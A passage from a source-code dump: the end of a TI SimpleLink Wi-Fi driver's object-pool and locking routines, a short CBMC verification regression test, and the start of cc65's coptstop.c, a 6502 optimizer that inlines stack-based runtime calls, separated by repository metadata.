*/ g_pCB->ObjPool[CurrObjIndex].NextIndex = g_pCB->PendingPoolIdx; g_pCB->PendingPoolIdx = CurrObjIndex; _SlDrvProtectionObjUnLock(); /* wait for action to be free */ _SlDrvSyncObjWaitForever(&g_pCB->ObjPool[CurrObjIndex].SyncObj); /* set params and move to active (remove from pending list at _SlDrvReleasePoolObj) */ _SlDrvProtectionObjLockWaitForever(); } #endif /* mark as active. Set socket as active if action is on socket, otherwise mark action as active */ if (SL_MAX_SOCKETS > SocketID) { g_pCB->ActiveActionsBitmap |= (1<<SocketID); } else { g_pCB->ActiveActionsBitmap |= (1<<ActionID); } /* move to active list */ g_pCB->ObjPool[CurrObjIndex].NextIndex = g_pCB->ActivePoolIdx; g_pCB->ActivePoolIdx = CurrObjIndex; /* unlock */ _SlDrvProtectionObjUnLock(); return CurrObjIndex; } /* ******************************************************************************/ /* _SlDrvReleasePoolObj */ /* ******************************************************************************/ void _SlDrvReleasePoolObj(_u8 ObjIdx) { #ifndef SL_TINY_EXT _u8 PendingIndex; #endif _SlDrvProtectionObjLockWaitForever(); /* In Tiny mode, there is only one object pool so no pending actions are available */ #ifndef SL_TINY_EXT /* go over the pending list and release other pending action if needed */ PendingIndex = g_pCB->PendingPoolIdx; while(MAX_CONCURRENT_ACTIONS > PendingIndex) { /* In case this action is socket related, SocketID is in use, otherwise will be set to SL_MAX_SOCKETS */ if ( (g_pCB->ObjPool[PendingIndex].ActionID == g_pCB->ObjPool[ObjIdx].ActionID) && ( (SL_MAX_SOCKETS == (g_pCB->ObjPool[PendingIndex].AdditionalData & BSD_SOCKET_ID_MASK)) || ((SL_MAX_SOCKETS > (g_pCB->ObjPool[ObjIdx].AdditionalData & BSD_SOCKET_ID_MASK)) && ( (g_pCB->ObjPool[PendingIndex].AdditionalData & BSD_SOCKET_ID_MASK) == (g_pCB->ObjPool[ObjIdx].AdditionalData & BSD_SOCKET_ID_MASK) ))) ) { /* remove from pending list */ _SlRemoveFromList(&g_pCB->PendingPoolIdx, PendingIndex); _SlDrvSyncObjSignal(&g_pCB->ObjPool[PendingIndex].SyncObj); break; } PendingIndex = g_pCB->ObjPool[PendingIndex].NextIndex; } #endif if (SL_MAX_SOCKETS > (g_pCB->ObjPool[ObjIdx].AdditionalData & BSD_SOCKET_ID_MASK)) { /* unset socketID */ g_pCB->ActiveActionsBitmap &= ~(1<<(g_pCB->ObjPool[ObjIdx].AdditionalData & BSD_SOCKET_ID_MASK)); } else { /* unset actionID */ g_pCB->ActiveActionsBitmap &= ~(1<<g_pCB->ObjPool[ObjIdx].ActionID); } /* delete old data */ g_pCB->ObjPool[ObjIdx].pRespArgs = NULL; g_pCB->ObjPool[ObjIdx].ActionID = 0; g_pCB->ObjPool[ObjIdx].AdditionalData = SL_MAX_SOCKETS; /* remove from active list */ _SlRemoveFromList(&g_pCB->ActivePoolIdx, ObjIdx); /* move to free list */ g_pCB->ObjPool[ObjIdx].NextIndex = g_pCB->FreePoolIdx; g_pCB->FreePoolIdx = ObjIdx; _SlDrvProtectionObjUnLock(); } /* ******************************************************************************/ /* _SlRemoveFromList */ /* ******************************************************************************/ void _SlRemoveFromList(_u8 *ListIndex, _u8 ItemIndex) { #ifndef SL_TINY_EXT _u8 Idx; #endif if (MAX_CONCURRENT_ACTIONS == g_pCB->ObjPool[*ListIndex].NextIndex) { *ListIndex = MAX_CONCURRENT_ACTIONS; } /* As MAX_CONCURRENT_ACTIONS is equal to 1 in Tiny mode */ #ifndef SL_TINY_EXT /* need to remove the first item in the list and therefore update the global which holds this index */ else if (*ListIndex == ItemIndex) { *ListIndex = g_pCB->ObjPool[ItemIndex].NextIndex; } else { Idx = *ListIndex; while(MAX_CONCURRENT_ACTIONS > Idx) { /* remove from list */ if (g_pCB->ObjPool[Idx].NextIndex == ItemIndex) { g_pCB->ObjPool[Idx].NextIndex = g_pCB->ObjPool[ItemIndex].NextIndex; break; } Idx = g_pCB->ObjPool[Idx].NextIndex; } } #endif } /* ******************************************************************************/ /* _SlFindAndSetActiveObj */ /* ******************************************************************************/ _SlReturnVal_t _SlFindAndSetActiveObj(_SlOpcode_t Opcode, _u8 Sd) { _u8 ActiveIndex; ActiveIndex = g_pCB->ActivePoolIdx; /* go over the active list if exist to find obj waiting for this Async event */ #ifndef SL_TINY_EXT while (MAX_CONCURRENT_ACTIONS > ActiveIndex) #else /* Only one Active action is availabe in tiny mode, so we can replace the loop with if condition */ if (MAX_CONCURRENT_ACTIONS > ActiveIndex) #endif { /* unset the Ipv4\IPv6 bit in the opcode if family bit was set */ if (g_pCB->ObjPool[ActiveIndex].AdditionalData & SL_NETAPP_FAMILY_MASK) { Opcode &= ~SL_OPCODE_IPV6; } if ((g_pCB->ObjPool[ActiveIndex].ActionID == RECV_ID) && (Sd == g_pCB->ObjPool[ActiveIndex].AdditionalData) && ( (SL_OPCODE_SOCKET_RECVASYNCRESPONSE == Opcode) || (SL_OPCODE_SOCKET_RECVFROMASYNCRESPONSE == Opcode) #ifndef SL_TINY_EXT || (SL_OPCODE_SOCKET_RECVFROMASYNCRESPONSE_V6 == Opcode) #endif ) ) { g_pCB->FunctionParams.AsyncExt.ActionIndex = ActiveIndex; return SL_RET_CODE_OK; } /* In case this action is socket related, SocketID is in use, otherwise will be set to SL_MAX_SOCKETS */ if ( (_SlActionLookupTable[ g_pCB->ObjPool[ActiveIndex].ActionID - MAX_SOCKET_ENUM_IDX].ActionAsyncOpcode == Opcode) && ( ((Sd == (g_pCB->ObjPool[ActiveIndex].AdditionalData & BSD_SOCKET_ID_MASK) ) && (SL_MAX_SOCKETS > Sd)) || (SL_MAX_SOCKETS == (g_pCB->ObjPool[ActiveIndex].AdditionalData & BSD_SOCKET_ID_MASK)) ) ) { /* set handler */ g_pCB->FunctionParams.AsyncExt.AsyncEvtHandler = _SlActionLookupTable[ g_pCB->ObjPool[ActiveIndex].ActionID - MAX_SOCKET_ENUM_IDX].AsyncEventHandler; g_pCB->FunctionParams.AsyncExt.ActionIndex = ActiveIndex; return SL_RET_CODE_OK; } ActiveIndex = g_pCB->ObjPool[ActiveIndex].NextIndex; } return SL_RET_CODE_SELF_ERROR; } /* Wrappers for the object functions */ void _SlDrvSyncObjWaitForever(_SlSyncObj_t *pSyncObj) { OSI_RET_OK_CHECK(sl_SyncObjWait(pSyncObj, SL_OS_WAIT_FOREVER)); } void _SlDrvSyncObjSignal(_SlSyncObj_t *pSyncObj) { OSI_RET_OK_CHECK(sl_SyncObjSignal(pSyncObj)); } void _SlDrvObjLockWaitForever(_SlLockObj_t *pLockObj) { OSI_RET_OK_CHECK(sl_LockObjLock(pLockObj, SL_OS_WAIT_FOREVER)); } void _SlDrvProtectionObjLockWaitForever() { OSI_RET_OK_CHECK(sl_LockObjLock(&g_pCB->ProtectionLockObj, SL_OS_WAIT_FOREVER)); } void _SlDrvObjUnLock(_SlLockObj_t *pLockObj) { OSI_RET_OK_CHECK(sl_LockObjUnlock(pLockObj)); } void _SlDrvProtectionObjUnLock() { OSI_RET_OK_CHECK(sl_LockObjUnlock(&g_pCB->ProtectionLockObj)); } void _SlDrvMemZero(void* Addr, _u16 size) { sl_Memset(Addr, 0, size); } void _SlDrvResetCmdExt(_SlCmdExt_t* pCmdExt) { _SlDrvMemZero(pCmdExt, sizeof (_SlCmdExt_t)); }
e9f50778c3765a676157d34e9eeb96222f647273
de21f9075f55640514c29ef0f1fe3f0690845764
/regression/cbmc-incr-oneloop/induction1/main.c
abb8711cae4e9bedda502b5a94a343cb3fb87551
[ "BSD-2-Clause", "LicenseRef-scancode-unknown-license-reference", "BSD-4-Clause" ]
permissive
diffblue/cbmc
975a074ac445febb3b5715f8792beb545522dc18
decd2839c2f51a54b2ad0f3e89fdc1b4bf78cd16
refs/heads/develop
2023-08-31T05:52:05.342195
2023-08-30T13:31:51
2023-08-30T13:31:51
51,877,056
589
309
NOASSERTION
2023-09-14T18:49:17
2016-02-16T23:03:52
C++
UTF-8
C
false
false
199
c
main.c
#include <limits.h> int main() { signed x, y; while(1) { __CPROVER_assume(x >= 10); signed t = x; if((long)x + y <= INT_MAX) x = x + y; y = t; assert(x >= 10); } }
345fd7e77d610ba0a461803eb01b52adacc2479b
83372fce92c9088ee5c1e1c13bc67385a3b02a36
/src/cc65/coptstop.c
ae40a55e975958479df35650235bb725095dad45
[ "Zlib", "LicenseRef-scancode-warranty-disclaimer" ]
permissive
cc65/cc65
2cd1b20b61ddd0691cd4601b4da37a9200a50afb
16e90187e8e80c6e2fcfcc04f068ac865d2290e5
refs/heads/master
2023-09-03T17:16:46.027934
2023-09-02T22:30:44
2023-09-02T22:30:44
8,932,489
2,103
526
Zlib
2023-09-13T06:19:01
2013-03-21T15:56:48
C
UTF-8
C
false
false
66,845
c
coptstop.c
/*****************************************************************************/ /* */ /* coptstop.c */ /* */ /* Optimize operations that take operands via the stack */ /* */ /* */ /* */ /* (C) 2001-2019, Ullrich von Bassewitz */ /* Roemerstrasse 52 */ /* D-70794 Filderstadt */ /* EMail: uz@cc65.org */ /* */ /* */ /* This software is provided 'as-is', without any expressed or implied */ /* warranty. In no event will the authors be held liable for any damages */ /* arising from the use of this software. */ /* */ /* Permission is granted to anyone to use this software for any purpose, */ /* including commercial applications, and to alter it and redistribute it */ /* freely, subject to the following restrictions: */ /* */ /* 1. The origin of this software must not be misrepresented; you must not */ /* claim that you wrote the original software. If you use this software */ /* in a product, an acknowledgment in the product documentation would be */ /* appreciated but is not required. */ /* 2. Altered source versions must be plainly marked as such, and must not */ /* be misrepresented as being the original software. */ /* 3. This notice may not be removed or altered from any source */ /* distribution. */ /* */ /*****************************************************************************/ #include <stdlib.h> /* common */ #include "chartype.h" /* cc65 */ #include "codeent.h" #include "codeinfo.h" #include "codeoptutil.h" #include "coptstop.h" #include "error.h" /*****************************************************************************/ /* Data */ /*****************************************************************************/ /* Flags for the functions */ typedef enum { OP_NONE = 0x00, /* Nothing special */ OP_A_KNOWN = 0x01, /* Value of A must be known */ OP_X_ZERO = 0x02, /* X must be zero */ OP_LHS_LOAD = 0x04, /* Must have load insns for LHS */ OP_LHS_SAME_BY_OP = 0x08, /* Load result of LHS must be the same if relocated to op */ OP_LHS_LOAD_DIRECT = 0x0C, /* Must have direct load insn for LHS */ OP_RHS_LOAD = 0x10, /* Must have load insns for RHS */ OP_RHS_SAME_BY_OP = 0x20, /* Load result of RHS must be the same if relocated to op */ OP_RHS_LOAD_DIRECT = 0x30, /* Must have direct load insn for RHS */ OP_AX_INTERCHANGE = 0x40, /* Preconditions of A/X may be interchanged */ OP_LR_INTERCHANGE = 0x80, /* Preconditions of LHS/RHS may be interchanged */ OP_LHS_SAME_BY_PUSH = 0x0100, /* LHS must load the same content if relocated to push */ OP_RHS_SAME_BY_PUSH = 0x0200, /* RHS must load the same content if relocated to push */ OP_LHS_SAME_BY_RHS = 0x0400, /* LHS must load the same content if relocated to RHS */ OP_RHS_SAME_BY_LHS = 0x0800, /* RHS must load the same content if relocated to LHS */ OP_LHS_REMOVE = 0x1000, /* LHS must be removable or RHS may use ZP store/load */ OP_LHS_REMOVE_DIRECT = 0x3000, /* LHS must be directly removable */ OP_RHS_REMOVE = 0x4000, /* RHS must be removable or LHS may use ZP store/load */ OP_RHS_REMOVE_DIRECT = 0xC000, /* RHS must be directly removable */ } OP_FLAGS; /* Structure that describes an optimizer subfunction for a specific op */ typedef unsigned (*OptFunc) (StackOpData* D); typedef struct OptFuncDesc OptFuncDesc; struct OptFuncDesc { const char* Name; /* Name of the replaced runtime function */ OptFunc Func; /* Function pointer */ unsigned UnusedRegs; /* Regs that must not be used later */ OP_FLAGS Flags; /* Flags */ }; /*****************************************************************************/ /* Helpers */ /*****************************************************************************/ static int SameRegAValue (StackOpData* D) /* Check if Rhs Reg A == Lhs Reg A */ { RegInfo* LRI = GetLastChangedRegInfo (D, &D->Lhs.A); RegInfo* RRI = GetLastChangedRegInfo (D, &D->Rhs.A); /* RHS can have a -1 ChgIndex only if it is carried over from LHS */ if (RRI == 0 || (D->Rhs.A.ChgIndex >= 0 && D->Rhs.A.ChgIndex == D->Lhs.A.ChgIndex) || (LRI != 0 && RegValIsKnown (LRI->Out.RegA) && RegValIsKnown (RRI->Out.RegA) && (LRI->Out.RegA & 0xFF) == (RRI->Out.RegA & 0xFF))) { return 1; } return 0; } static int SameRegXValue (StackOpData* D) /* Check if Rhs Reg X == Lhs Reg X */ { RegInfo* LRI = GetLastChangedRegInfo (D, &D->Lhs.X); RegInfo* RRI = GetLastChangedRegInfo (D, &D->Rhs.X); if (RRI == 0 || (D->Rhs.X.ChgIndex >= 0 && D->Rhs.X.ChgIndex == D->Lhs.X.ChgIndex) || (LRI != 0 && RegValIsKnown (LRI->Out.RegX) && RegValIsKnown (RRI->Out.RegX) && (LRI->Out.RegX & 0xFF) == (RRI->Out.RegX & 0xFF))) { return 1; } return 0; } /*****************************************************************************/ /* Actual optimization functions */ /*****************************************************************************/ static unsigned Opt_toseqax_tosneax (StackOpData* D, const char* BoolTransformer) /* Optimize the toseqax and tosneax sequences. */ { CodeEntry* X; CodeLabel* L; /* Create a call to the boolean transformer function and a label for this ** insn. This is needed for all variants. Other insns are inserted *before* ** the call. */ X = NewCodeEntry (OP65_JSR, AM65_ABS, BoolTransformer, 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex + 1); L = CS_GenLabel (D->Code, X); /* If the lhs is direct (but not stack relative), encode compares with lhs ** effectively reverting the order (which doesn't matter for ==). */ if ((D->Lhs.A.Flags & (LI_DIRECT | LI_RELOAD_Y)) == LI_DIRECT && (D->Lhs.X.Flags & (LI_DIRECT | LI_RELOAD_Y)) == LI_DIRECT) { CodeEntry* LoadX = D->Lhs.X.LoadEntry; CodeEntry* LoadA = D->Lhs.A.LoadEntry; D->IP = D->OpIndex+1; /* cpx */ X = NewCodeEntry (OP65_CPX, LoadX->AM, LoadX->Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* bne L */ X = NewCodeEntry (OP65_BNE, AM65_BRA, L->Name, L, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* cmp */ X = NewCodeEntry (OP65_CMP, LoadA->AM, LoadA->Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Lhs load entries can be removed if not used later */ D->Lhs.X.Flags |= LI_REMOVE; D->Lhs.A.Flags |= LI_REMOVE; } else if ((D->Rhs.A.Flags & (LI_DIRECT | LI_RELOAD_Y)) == LI_DIRECT && (D->Rhs.X.Flags & (LI_DIRECT | LI_RELOAD_Y)) == LI_DIRECT && D->RhsMultiChg == 0) { CodeEntry* LoadX = D->Rhs.X.LoadEntry; CodeEntry* LoadA = D->Rhs.A.LoadEntry; D->IP = D->OpIndex+1; /* cpx */ X = NewCodeEntry (OP65_CPX, LoadX->AM, LoadX->Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* bne L */ X = NewCodeEntry (OP65_BNE, AM65_BRA, L->Name, L, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* cmp */ X = NewCodeEntry (OP65_CMP, LoadA->AM, LoadA->Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Rhs load entries must be removed */ D->Rhs.X.Flags |= LI_REMOVE; D->Rhs.A.Flags |= LI_REMOVE; } else if ((D->Rhs.A.Flags & LI_DIRECT) != 0 && (D->Rhs.X.Flags & LI_DIRECT) != 0) { D->IP = D->OpIndex+1; /* Add operand for low byte */ AddOpLow (D, OP65_CMP, &D->Rhs); /* bne L */ X = NewCodeEntry (OP65_BNE, AM65_BRA, L->Name, L, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Add operand for high byte */ AddOpHigh (D, OP65_CMP, &D->Rhs, 0); } else { /* Save lhs into zeropage, then compare */ AddStoreLhsX (D); AddStoreLhsA (D); D->IP = D->OpIndex+1; /* cpx */ X = NewCodeEntry (OP65_CPX, AM65_ZP, D->ZPHi, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* bne L */ X = NewCodeEntry (OP65_BNE, AM65_BRA, L->Name, L, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* cmp */ X = NewCodeEntry (OP65_CMP, AM65_ZP, D->ZPLo, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); } /* Remove the push and the call to the tosgeax function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt_tosshift (StackOpData* D, const char* Name) /* Optimize shift sequences. */ { CodeEntry* X; /* If the lhs is direct (but not stack relative), we can just reload the ** data later. */ if ((D->Lhs.A.Flags & (LI_DIRECT | LI_RELOAD_Y)) == LI_DIRECT && (D->Lhs.X.Flags & (LI_DIRECT | LI_RELOAD_Y)) == LI_DIRECT) { CodeEntry* LoadX = D->Lhs.X.LoadEntry; CodeEntry* LoadA = D->Lhs.A.LoadEntry; /* Inline the shift */ D->IP = D->OpIndex+1; /* tay */ X = NewCodeEntry (OP65_TAY, AM65_IMP, 0, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* lda */ X = NewCodeEntry (OP65_LDA, LoadA->AM, LoadA->Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* ldx */ X = NewCodeEntry (OP65_LDX, LoadX->AM, LoadX->Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Lhs load entries can be removed if not used later */ D->Lhs.X.Flags |= LI_REMOVE; D->Lhs.A.Flags |= LI_REMOVE; } else { /* Save lhs into zeropage and reload later */ AddStoreLhsX (D); AddStoreLhsA (D); /* Be sure to setup IP after adding the stores, otherwise it will get ** messed up. */ D->IP = D->OpIndex+1; /* tay */ X = NewCodeEntry (OP65_TAY, AM65_IMP, 0, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* lda zp */ X = NewCodeEntry (OP65_LDA, AM65_ZP, D->ZPLo, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* ldx zp+1 */ X = NewCodeEntry (OP65_LDX, AM65_ZP, D->ZPHi, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); } /* jsr shlaxy/aslaxy/whatever */ X = NewCodeEntry (OP65_JSR, AM65_ABS, Name, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Remove the push and the call to the shift function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt___bzero (StackOpData* D) /* Optimize the __bzero sequence */ { CodeEntry* X; const char* Arg; CodeLabel* L; /* Check if we're using a register variable */ if (!IsRegVar (D)) { /* Store the value into the zeropage instead of pushing it */ AddStoreLhsX (D); AddStoreLhsA (D); } /* If the return value of __bzero is used, we have to add code to reload ** a/x from the pointer variable. */ if (RegAXUsed (D->Code, D->OpIndex+1)) { X = NewCodeEntry (OP65_LDA, AM65_ZP, D->ZPLo, 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex+1); X = NewCodeEntry (OP65_LDX, AM65_ZP, D->ZPHi, 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex+2); } /* X is always zero, A contains the size of the data area to zero. ** Note: A may be zero, in which case the operation is null op. */ if (D->OpEntry->RI->In.RegA != 0) { /* lda #$00 */ X = NewCodeEntry (OP65_LDA, AM65_IMM, "$00", 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex+1); /* The value of A is known */ if (D->OpEntry->RI->In.RegA <= 0x81) { /* Loop using the sign bit */ /* ldy #count-1 */ Arg = MakeHexArg (D->OpEntry->RI->In.RegA - 1); X = NewCodeEntry (OP65_LDY, AM65_IMM, Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex+2); /* L: sta (zp),y */ X = NewCodeEntry (OP65_STA, AM65_ZP_INDY, D->ZPLo, 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex+3); L = CS_GenLabel (D->Code, X); /* dey */ X = NewCodeEntry (OP65_DEY, AM65_IMP, 0, 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex+4); /* bpl L */ X = NewCodeEntry (OP65_BPL, AM65_BRA, L->Name, L, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex+5); } else { /* Loop using an explicit compare */ /* ldy #$00 */ X = NewCodeEntry (OP65_LDY, AM65_IMM, "$00", 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex+2); /* L: sta (zp),y */ X = NewCodeEntry (OP65_STA, AM65_ZP_INDY, D->ZPLo, 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex+3); L = CS_GenLabel (D->Code, X); /* iny */ X = NewCodeEntry (OP65_INY, AM65_IMP, 0, 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex+4); /* cpy #count */ Arg = MakeHexArg (D->OpEntry->RI->In.RegA); X = NewCodeEntry (OP65_CPY, AM65_IMM, Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex+5); /* bne L */ X = NewCodeEntry (OP65_BNE, AM65_BRA, L->Name, L, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex+6); } } /* Remove the push and the call to the __bzero function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt_staspidx (StackOpData* D) /* Optimize the staspidx sequence */ { CodeEntry* X; /* Check if we're using a register variable */ if (!IsRegVar (D)) { /* Store the value into the zeropage instead of pushing it */ AddStoreLhsX (D); AddStoreLhsA (D); } /* Replace the store subroutine call by a direct op */ X = NewCodeEntry (OP65_STA, AM65_ZP_INDY, D->ZPLo, 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex+1); /* Remove the push and the call to the staspidx function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt_staxspidx (StackOpData* D) /* Optimize the staxspidx sequence */ { CodeEntry* X; const char* Arg = 0; /* Check if we're using a register variable */ if (!IsRegVar (D)) { /* Store the value into the zeropage instead of pushing it */ AddStoreLhsX (D); AddStoreLhsA (D); } /* Inline the store */ /* sta (zp),y */ X = NewCodeEntry (OP65_STA, AM65_ZP_INDY, D->ZPLo, 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex+1); if (RegValIsKnown (D->OpEntry->RI->In.RegY)) { /* Value of Y is known */ Arg = MakeHexArg (D->OpEntry->RI->In.RegY + 1); X = NewCodeEntry (OP65_LDY, AM65_IMM, Arg, 0, D->OpEntry->LI); } else { X = NewCodeEntry (OP65_INY, AM65_IMP, 0, 0, D->OpEntry->LI); } InsertEntry (D, X, D->OpIndex+2); if (RegValIsKnown (D->OpEntry->RI->In.RegX)) { /* Value of X is known */ Arg = MakeHexArg (D->OpEntry->RI->In.RegX); X = NewCodeEntry (OP65_LDA, AM65_IMM, Arg, 0, D->OpEntry->LI); } else { /* Value unknown */ X = NewCodeEntry (OP65_TXA, AM65_IMP, 0, 0, D->OpEntry->LI); } InsertEntry (D, X, D->OpIndex+3); /* sta (zp),y */ X = NewCodeEntry (OP65_STA, AM65_ZP_INDY, D->ZPLo, 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex+4); /* If we remove staxspidx, we must restore the Y register to what the ** function would return. */ if (RegValIsKnown (D->OpEntry->RI->In.RegY)) { Arg = MakeHexArg (D->OpEntry->RI->In.RegY); X = NewCodeEntry (OP65_LDY, AM65_IMM, Arg, 0, D->OpEntry->LI); } else { X = NewCodeEntry (OP65_DEY, AM65_IMP, 0, 0, D->OpEntry->LI); } InsertEntry (D, X, D->OpIndex+5); /* Remove the push and the call to the staxspidx function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt_tosaddax (StackOpData* D) /* Optimize the tosaddax sequence */ { CodeEntry* X; CodeEntry* N; /* We need the entry behind the add */ CHECK (D->NextEntry != 0); /* Check if the X register is known and zero when the add is done, and ** if the add is followed by ** ** ldy #$00 ** jsr ldauidx ; or ldaidx ** ** If this is true, the addition does actually add an offset to a pointer ** before it is dereferenced. Since both subroutines take an offset in Y, ** we can pass the offset (instead of #$00) and remove the addition ** alltogether. */ if (D->OpEntry->RI->In.RegX == 0 && D->NextEntry->OPC == OP65_LDY && CE_IsKnownImm (D->NextEntry, 0) && !CE_HasLabel (D->NextEntry) && (N = CS_GetNextEntry (D->Code, D->OpIndex + 1)) != 0 && (CE_IsCallTo (N, "ldauidx") || CE_IsCallTo (N, "ldaidx"))) { int Signed = (strcmp (N->Arg, "ldaidx") == 0); /* Store the value into the zeropage instead of pushing it */ AddStoreLhsX (D); AddStoreLhsA (D); /* Replace the ldy by a tay. Be sure to create the new entry before ** deleting the ldy, since we will reference the line info from this ** insn. */ X = NewCodeEntry (OP65_TAY, AM65_IMP, 0, 0, D->NextEntry->LI); DelEntry (D, D->OpIndex + 1); InsertEntry (D, X, D->OpIndex + 1); /* Replace the call to ldaidx/ldauidx. Since X is already zero, and ** the ptr is in the zero page location, we just need to load from ** the pointer, and fix X in case of ldaidx. */ X = NewCodeEntry (OP65_LDA, AM65_ZP_INDY, D->ZPLo, 0, N->LI); DelEntry (D, D->OpIndex + 2); InsertEntry (D, X, D->OpIndex + 2); if (Signed) { CodeLabel* L; /* Add sign extension - N is unused now */ N = CS_GetNextEntry (D->Code, D->OpIndex + 2); CHECK (N != 0); L = CS_GenLabel (D->Code, N); X = NewCodeEntry (OP65_BPL, AM65_BRA, L->Name, L, X->LI); InsertEntry (D, X, D->OpIndex + 3); X = NewCodeEntry (OP65_DEX, AM65_IMP, 0, 0, X->LI); InsertEntry (D, X, D->OpIndex + 4); } } else { /* Store the value into the zeropage instead of pushing it */ ReplacePushByStore (D); /* Inline the add */ D->IP = D->OpIndex+1; /* clc */ X = NewCodeEntry (OP65_CLC, AM65_IMP, 0, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Low byte */ AddOpLow (D, OP65_ADC, &D->Lhs); /* High byte */ if (D->PushEntry->RI->In.RegX == 0) { /* The high byte is the value in X plus the carry */ CodeLabel* L = CS_GenLabel (D->Code, D->NextEntry); /* bcc L */ X = NewCodeEntry (OP65_BCC, AM65_BRA, L->Name, L, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* inx */ X = NewCodeEntry (OP65_INX, AM65_IMP, 0, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); } else if (D->OpEntry->RI->In.RegX == 0 && (RegValIsKnown (D->PushEntry->RI->In.RegX) || (D->Lhs.X.Flags & LI_RELOAD_Y) == 0)) { /* The high byte is that of the first operand plus carry */ CodeLabel* L; if (RegValIsKnown (D->PushEntry->RI->In.RegX)) { /* Value of first op high byte is known */ const char* Arg = MakeHexArg (D->PushEntry->RI->In.RegX); X = NewCodeEntry (OP65_LDX, AM65_IMM, Arg, 0, D->OpEntry->LI); } else { /* Value of first op high byte is unknown. Load from ZP or ** original storage. */ if (D->Lhs.X.Flags & LI_DIRECT) { CodeEntry* LoadX = D->Lhs.X.LoadEntry; X = NewCodeEntry (OP65_LDX, LoadX->AM, LoadX->Arg, 0, D->OpEntry->LI); } else { X = NewCodeEntry (OP65_LDX, AM65_ZP, D->ZPHi, 0, D->OpEntry->LI); } } InsertEntry (D, X, D->IP++); /* bcc label */ L = CS_GenLabel (D->Code, D->NextEntry); X = NewCodeEntry (OP65_BCC, AM65_BRA, L->Name, L, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* inx */ X = NewCodeEntry (OP65_INX, AM65_IMP, 0, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); } else { /* High byte is unknown */ AddOpHigh (D, OP65_ADC, &D->Lhs, 1); } } /* Remove the push and the call to the tosaddax function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt_tosandax (StackOpData* D) /* Optimize the tosandax sequence */ { /* Store the value into the zeropage instead of pushing it */ ReplacePushByStore (D); /* Inline the and, low byte */ D->IP = D->OpIndex + 1; AddOpLow (D, OP65_AND, &D->Lhs); /* High byte */ AddOpHigh (D, OP65_AND, &D->Lhs, 1); /* Remove the push and the call to the tosandax function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt_tosaslax (StackOpData* D) /* Optimize the tosaslax sequence */ { return Opt_tosshift (D, "aslaxy"); } static unsigned Opt_tosasrax (StackOpData* D) /* Optimize the tosasrax sequence */ { return Opt_tosshift (D, "asraxy"); } static unsigned Opt_toseqax (StackOpData* D) /* Optimize the toseqax sequence */ { return Opt_toseqax_tosneax (D, "booleq"); } static unsigned Opt_tosgeax (StackOpData* D) /* Optimize the tosgeax sequence */ { CodeEntry* X; CodeLabel* L; /* Inline the sbc */ D->IP = D->OpIndex+1; /* Must be true because of OP_RHS_LOAD */ CHECK ((D->Rhs.A.Flags & D->Rhs.X.Flags & LI_DIRECT) != 0); /* Add code for low operand */ AddOpLow (D, OP65_CMP, &D->Rhs); /* Add code for high operand */ AddOpHigh (D, OP65_SBC, &D->Rhs, 0); /* eor #$80 */ X = NewCodeEntry (OP65_EOR, AM65_IMM, "$80", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* asl a */ X = NewCodeEntry (OP65_ASL, AM65_ACC, "a", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); L = CS_GenLabel (D->Code, X); /* Insert a bvs L before the eor insn */ X = NewCodeEntry (OP65_BVS, AM65_BRA, L->Name, L, D->OpEntry->LI); InsertEntry (D, X, D->IP - 2); ++D->IP; /* lda #$00 */ X = NewCodeEntry (OP65_LDA, AM65_IMM, "$00", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* ldx #$00 */ X = NewCodeEntry (OP65_LDX, AM65_IMM, "$00", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* rol a */ X = NewCodeEntry (OP65_ROL, AM65_ACC, "a", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Rhs load entries must be removed */ D->Rhs.X.Flags |= LI_REMOVE; D->Rhs.A.Flags |= LI_REMOVE; /* 